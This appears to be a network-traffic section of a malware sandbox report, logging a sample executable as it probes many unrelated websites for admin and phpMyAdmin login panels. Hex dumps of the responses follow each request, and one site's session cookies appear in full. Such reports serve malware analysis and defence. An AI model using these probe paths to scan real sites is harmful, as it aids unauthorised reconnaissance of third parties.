2023-11-26 05:59:38 UTC	229	OUT	GET /administrator/index.php HTTP/1.1 Host: knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.knu.ac.in/administrator/
2023-11-26 05:59:38 UTC	229	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:38 GMTServer: ApacheLocation: https://www.knu.ac.in/administrator/index.phpContent-Length: 313Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:38 UTC	313	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 6e 75 2e 61 63 2e 69 6e 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.knu.ac.in/administrator/index.php">here</a>.</p><hr><address>Apa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	59840	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	1277	OUT	GET /phpmyadmin HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6Ik9iRDZCclQ1UEJFcVRhU0M0Z2JWd0E9PSIsInZhbHVlIjoiLzhpMDY3eGRpRmFYNGZsVG5UN01DUGY3cGlYalNpc0lBVWhIc2o2VWlrQWRpV21uR01FVEJXSCszQTg5UTlDQk83RytmS296VWZQZGk4UGZlaE10QlpUa29sV3E5OG1rMzdZV2tNWEZscnUwK2k1NVpvR0hJOWswKzNPMTRXV3giLCJtYWMiOiJmZThhNzk4NzM0NGI2YWIwMzkzYzBiOGIzNTdkNjk5YTA2NDFlM2E0ZGY2ZGNkNTBmNTI4YTRkNDUzODhiMTMwIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6InNSUUdPSlJvRjI4SU9XL0o1aG5yTmc9PSIsInZhbHVlIjoiaDROU2VITEgzb3IwMm1QU1FWM0hlZE94NWVBMW4vSEczTlN3YTBWc3had20wWmljdkJ2RHdJRWk3SFk3UHhGTGh5Nis5dzl2UlVNSW40cU9wWG5sZ0lyVkc0eUg2a3BJbTd2VWZwZjBkdDBWNDcrbDBKTHBrazg5S3E5cHdlQXYiLCJtYWMiOiI4ZjljNzY5YTJmMjg3Nzg5ZDk1ZGRhZTk4YzBlNGVhNTVmZWM3NGE3M2FjNjM5NWMxNDhhNjU2ODU5NDdlNzZkIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IkI1ejVQMUpRYWxNcjgranNNVTBURFE9PSIsInZhbHVlIjoid3hpb3hCWENGcnU0M0ZDYktoTjAzMDQyOE8vZjRUUXJ2NjRuRzJ4Z0FtWitaNG00ckFqM0xzc1NHdWx5SGVwbzhPcldyUU5zK2hJMGVHUXlYQjBHcnM2WXVYUEZIS2hPKzA5UDl5dEoyRzUvYmkveVoxcHBJcmo5MVI3M0xjeUkiLCJtYWMiOiJiNDcwN2IyNzZjYzUyMzhmOTAyMzQ2ZmEwMjM0MTMwZmUzN2Y4ZTczNThjZmZiZGQ1NGU0MTcyN2Y3MTZiYWY0IiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	1135	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:38 GMTLocation: https://www.gatewaytoearlylearning.com/phpmyadminSet-Cookie: publis
2023-11-26 05:59:38 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 39 53 55 6e 46 74 57 57 38 32 4e 54 6c 51 65 6d 52 74 55 6c 42 59 5a 6b 45 30 62 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 46 56 6c 56 54 4e 76 61 32 52 55 63 6c 4e 56 53 6e 6c 36 4f 58 68 4e 62 69 39 49 61 44 64 50 5a 30 4e 4e 4e 30 35 73 56 57 6c 56 4c 79 39 79 4e 6c 70 34 64 45 46 6f 56 46 67 76 55 45 64 44 64 6c 6c 54 57 6d 45 7a 62 32 46 77 53 57 4d 78 57 47 56 68 4e 32 52 42 64 48 52 4f 62 32 67 30 64 32 6c 44 62 32 4e 46 65 55 73 31 56 69 74 58 4f 55 52 58 65 57 39 50 54 6d 70 6b 4e 6b 52 6f 59 32 6c 4a 55 45 56 45 52 56 42 5a 56 47 30 72 56 46 5a 35 62 54 46 42 55 54 68 32 63 58 56 50 64 55 64 49 64 47 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6Im9SUnFtWW82NTlQemRtUlBYZkE0bFE9PSIsInZhbHVlIjoiWFVlVTNva2RUclNVSnl6OXhNbi9IaDdPZ0NNN05sVWlVLy9yNlp4dEFoVFgvUEdDdllTWmEzb2FwSWMxWGVhN2RBdHROb2g0d2lDb2NFeUs1VitXOURXeW9PTmpkNkRoY2lJUEVERVBZVG0rVFZ5bTFBUTh2cXVPdUdIdG
2023-11-26 05:59:38 UTC	454	IN	Data Raw: 31 62 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 Data Ascii: 1ba<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/phpmyadmin'" /> <title>Redirecting to https://www.gatewaytoearlylearning.com/phpmyad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	60287	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	171	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	626	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 70 68 70 4d 79 41 64 6d 69 6e 2f 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 2d 37 63 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/phpMyAdmin/Server: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a-7c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	60030	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	167	OUT	GET /pma/ HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	443	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://talentius.com/wp-json/>; rel="https:
2023-11-26 05:59:38 UTC	7749	IN	Data Raw: 31 65 63 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a Data Ascii: 1ecc<!DOCTYPE html><html lang="es-ES" class="no-js"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <link rel="pingback" href="https:
2023-11-26 05:59:38 UTC	141	IN	Data Raw: 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 77 69 64 67 65 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 Data Ascii: ype='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4'></script><script type='text/javascript'
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 6d 6f 75 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 64 72 61 67 67 61 62 6c 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 Data Ascii: 1ff8src='https://talentius.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/draggable.min.js?ver=1.11.4'></script><script type='text/javascript' src='http
2023-11-26 05:59:38 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2023-11-26 05:59:38 UTC	8184	IN	Data Raw: 39 34 22 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 39 34 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 73 63 72 6f 6c 6c 22 20 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 6f 72 6d 61 63 69 6f 6e 2e 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 22 3e 41 43 43 45 53 4f 20 55 53 55 41 52 49 4f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 09 09 09 09 09 3c 64 69 76 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 61 76 69 73 6f 2d 6c 65 67 61 6c 2f 23 61 Data Ascii: 94" class="dropdown menu-item menu-item-type-custom menu-item-object-custom menu-item-294"><a class="page-scroll" target="_blank" href="http://formacion.talentius.com/">ACCESO USUARIO</a></li></ul><div><p><a href="http://talentius.com/aviso-legal/#a
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	990	IN	Data Raw: 33 64 32 0d 0a 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 70 61 72 61 6c 6c 61 78 2d 31 2e 31 2e 33 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 66 61 6e 63 79 62 6f 78 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 Data Ascii: 3d2 type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.parallax-1.1.3.js'></script><script type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox.js'></script><scri

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.4	60019	116.202.203.176	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: eco-landeck.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	565	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 34 39 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 37 20 41 75 67 20 32 30 30 35 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=utf-8Content-Length: 13491Connection: closeX-Frame-Options: SAMEORIGINExpires: Wed, 17 Aug 2005 00:00:00 GMTCache-Control: no-store, no-cache,
2023-11-26 05:59:38 UTC	13491	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 64 65 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 41 4b 20 48 4c 57 20 4c 61 6e 64 65 63 6b 2c 20 57 65 62 73 69 74 65 20 64 65 72 20 48 61 6e 64 65 6c 73 61 6b 61 64 65 6d 69 65 2c 20 64 65 72 20 4d 65 64 69 61 68 61 6b 20 4c 61 6e 64 65 63 6b 20 75 6e 64 Data Ascii: <!DOCTYPE html><html lang="de-de" dir="ltr"><head> <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="description" content="HAK HLW Landeck, Website der Handelsakademie, der Mediahak Landeck und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	60021	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	158	OUT	GET / HTTP/1.1 Host: rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	184	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rech.com/
2023-11-26 05:59:38 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	60288	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	176	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	745	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, ma
